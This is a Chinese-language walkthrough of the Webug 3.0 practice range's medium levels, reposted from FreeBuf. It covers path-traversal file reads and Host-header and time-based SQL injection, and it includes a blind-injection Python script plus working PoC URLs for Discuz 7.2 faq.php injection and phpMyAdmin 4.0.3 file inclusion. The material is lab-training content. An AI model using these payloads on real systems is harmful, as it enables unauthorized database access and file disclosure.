我们的漏洞Webug 3.0中级进阶攻略(上)

WeBug名称定义为“我们的漏洞”靶场环境。基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。

这次带来Webug3.0中级进阶上部分 借鉴了很多前辈的文章 有些关卡可能是本身环境配置的问题 无法复现漏洞 或者我姿势不对 如果有做出的大佬可以补充一下~

中级进阶——上

第一关:出来点东西吧 ../../etc/passwd

../../etc/passwd 提示了可能是要读取文件 同时webug是个windows 2003的虚拟机 也不存在/etc/passwd

开始无论选择什么国点go 啥都没有点纳闷 仅仅后面的country变了

后来一看源码发现路径是路径写的不对..

把cc目录下的几个文件移到上级目录 选择世界就会正常显示出图片了

这关就是一个任意文件读取的漏洞 跨目录读取了主页文件index.html

看了源文件没发现哪里有flag 可能题目没完善或是我没找到 总之就是一个任意文件读取漏洞

第二关:提交的方式是怎样的啊? pass!

这回不用改也显示正常了 点餐就直接出来了图片 这回url后面没有带参数了

根据关卡“提交的方式是怎样的啊” 那就是post了 后来抓包也证实了这点

一样是一个任意文件读取漏洞 不过换成了post方式 目的让大家认识这个漏洞

第三关:我还是一个注入 怎么又TM注入

题目说又是注入 没有参数可注 就想到了头部注入 但无奈水平过低 无法注入 只好看源码

发现原来是host头注入 实在是没想到啊

知道了就好办了 跟普通注入一样的来 得到列长为4

得到表名

最后得到flag

第四关:APK里面有一个FLAG 看看APK

apk用android killer打开 不是很懂apk逆向也大致看了一下 把这四个base64解密好像就是flag了

或者点击apk里面的按钮三百下 就会给出flag

第五关:时间注入 时间注入

提示加type参 get型时间盲注

用sleep()来确认是否是时间盲注 如果是 则延时x秒执行 不是则立即返回

手工盲注就太累了 照网上的代码 写了一个时间盲注的python脚本

自动跑出库名 表名和列名改改payload也是一样可以跑出来的

#encoding=utf-8 #时间盲注脚本import requestsimport timepayloads = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{,'#存放跑出的结果length=0database=''table=''print 'start get length...'for l in range(1,21):    startTime1=time.time()    url1 = "http://192.168.37.147/pentest/test/time/?type=1 and if(length(database())=%d,sleep(5),1)"%(l)    response1 = requests.get(url1)    if time.time() - startTime1 > 5:        length=l        print "the length is " + str(length)        breakprint 'start database sql injection...'for d in range(1,length+1):    for payload in payloads:        startTime2=time.time()        url2 = "http://192.168.37.147/pentest/test/time/?type=1 and if(substr(database(),'%d',1)='%s',sleep(5),1)"%(d,payload)        response2 = requests.get(url2) #发送请求        if time.time() - startTime2 > 5: #判断是否延时了5秒 也就是 是否执行了函数sleep(5)            database+=payload            print database            breakprint "the database is " + database

实战练习:DZ论坛 注入

好像配置有点问题还是咋的= = 无法复现

于是在本地自行搭建了一个dz7.2的环境

需要的环境小伙伴自取(均从网上搜集):(阅读原文获取云盘链接)

MySQL Duplicate entry报错注入 PoC:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

问题发生在faq.php 148行开始

185行定义了一个数组groupids,然后遍历同样是数组的gids,将数组中所有值的第一位取出来放在groupids中。

dz在全局会对get传递过来的数组用函数addslashes进行转义,单引号 ‘ 会被转义成 \’ 。

而 $groupids[] = $row[0] 又取了字符串的第一个字符,也就是把 \ 转义符号给取出来了。

再到190行末尾 对 groupids 用implodeids函数进行了处理

在 /include/global.func.php中 672行 看到implodeids函数

function implodeids($array) {    if(!empty($array)) {        return "'".implode("','", is_array($array) ? $array : array($array))."'";    } else {        return '';    }}

如果数组不为空就将其用 ‘,’ 分隔开,就好像1234返回’1’,’2’,’3’,’4’

但前面取出了一个 \ 转义符号就变成了

‘1’,’\’,’3’,’4’

第4个单引号就被转义了,第3个单引号就与第5个单引号闭合了,那么“3”就逃逸出了单引号的限制,产生了注入。

faq.php?gids[x]=’&gids[x+1][uid]=sql 如此构造就可以突破安全处理

实战练习:ASPCMS 注入

怎么都搭建不起来。。头皮发麻ing

实战练习:phpMyAdmin 任意文件包含漏洞

不知为啥给的环境报错… 干脆自己本地搭建了一个 phpMyadmin 4.0.3 + php 5.2.17

phpMyAdmin下载地址http://pan.baidu.com/s/1dEYo9zj

PoC

http://localhost/pma4.0.3/gis_data_editor.php?token=4f4b3ee07ffc84e6bbef624931ae6999&gis_data[gis_type]=/../../advisory_rules.txt%00

token登录进去就会给,是phpMyAdmin的CSRF防御机制。

gis_data[gis_type]=file%00 file替换为要包含的文件路径

实际文件路径为 ./libraries/gis/pma_gis_file

注意%00截断

首先来到 \libraries\gis\pma_gis_factory.php 29行

接收到 type 参数之后再第33行 转换成小写并赋值给了 type_lower ,并在下面拼接成路径进行include_once

再来到根目录下的gis_data_editor.php

第28行 $_REQUEST[‘gis_data’] 获取到gis_data,第44行如果 $gis_data[‘gis_type’] 存在,则直接来到60行,赋值给 geom_type,并传入了PMA_GIS_Factory::factory函数。

一句话来说就是因为将 $gis_data[‘gis_type’] 拼接进了路径并进行了include_once中,造成了任意文件包含漏洞。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-11-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏芋道源码1024

IntelliJ IDEA 2018.2 发布,支持 Java 11

近期,JetBrains发布了其旗舰产品IntelliJ IDEA的2018.2版本。新版本支持即将推出的Java 11、断点意图(Breakpoints In...

28470
来自专栏Vamei实验室

被解放的姜戈03 所谓伊人

在之前的程序中,我们直接生成一个字符串,作为http回复,返回给客户端。这一过程中使用了django.http.HttpResponse()。 在这样的一种回复...

21980
来自专栏Golang语言社区

锁的优化和注意事项151

1. 锁优化的思路和方法 在[高并发Java 一] 前言中有提到并发的级别。 一旦用到锁,就说明这是阻塞式的,所以在并发度上一般来说都会比无锁的情况低一点。 这...

428110
来自专栏IT技术精选文摘

Java Instrument 功能使用及原理

21530
来自专栏xingoo, 一个梦想做发明家的程序员

TDDL与Spring Boot集成Version报错——跟踪与解决

先说背景:公司采用diamond+tddl,这套技术来做web管理。本人处于好奇率先体验了下spring-boot,于是就有了spring-boot+tddl...

36790
来自专栏java架构师

BAT美团滴滴java面试大纲(带答案版)之三:多线程synchronized

继续面试大纲系列文章。   从这一篇开始,我们进入ava编程中的一个重要领域---多线程!多线程就像武学中对的吸星大法,理解透了用好了可以得道成仙,俯瞰芸芸众生...

318100
来自专栏腾讯IVWEB团队的专栏

在 NodeJS 中玩转 Protocol Buffer

Protocol Buffers 是一种轻便高效的结构化数据存储格式,可以用于结构化数据序列化,很适合做数据存储或 RPC 数据交换格式。

1.6K00
来自专栏Java技术交流群809340374

史上最全Java面试266题:算法+缓存+TCP+JVM+搜索+分布式+数据库

以上是总结出的最全Java面试题目,以下是最新总结出的BAT面试java必考题目和答案。

34600
来自专栏Java技术栈

IntelliJ IDEA 2018.2 发布,支持 Java 11

近期,JetBrains发布了其旗舰产品IntelliJ IDEA的2018.2版本。新版本支持即将推出的Java 11、断点意图(Breakpoints In...

11610
来自专栏Java开发者杂谈

Spring @Transactional踩坑记

@Transactional踩坑记 总述 ​ Spring在1.2引入@Transactional注解, 该注解的引入使得我们可以简单地通过在方法或者类上添加@...

92970

扫码关注云+社区

领取腾讯云代金券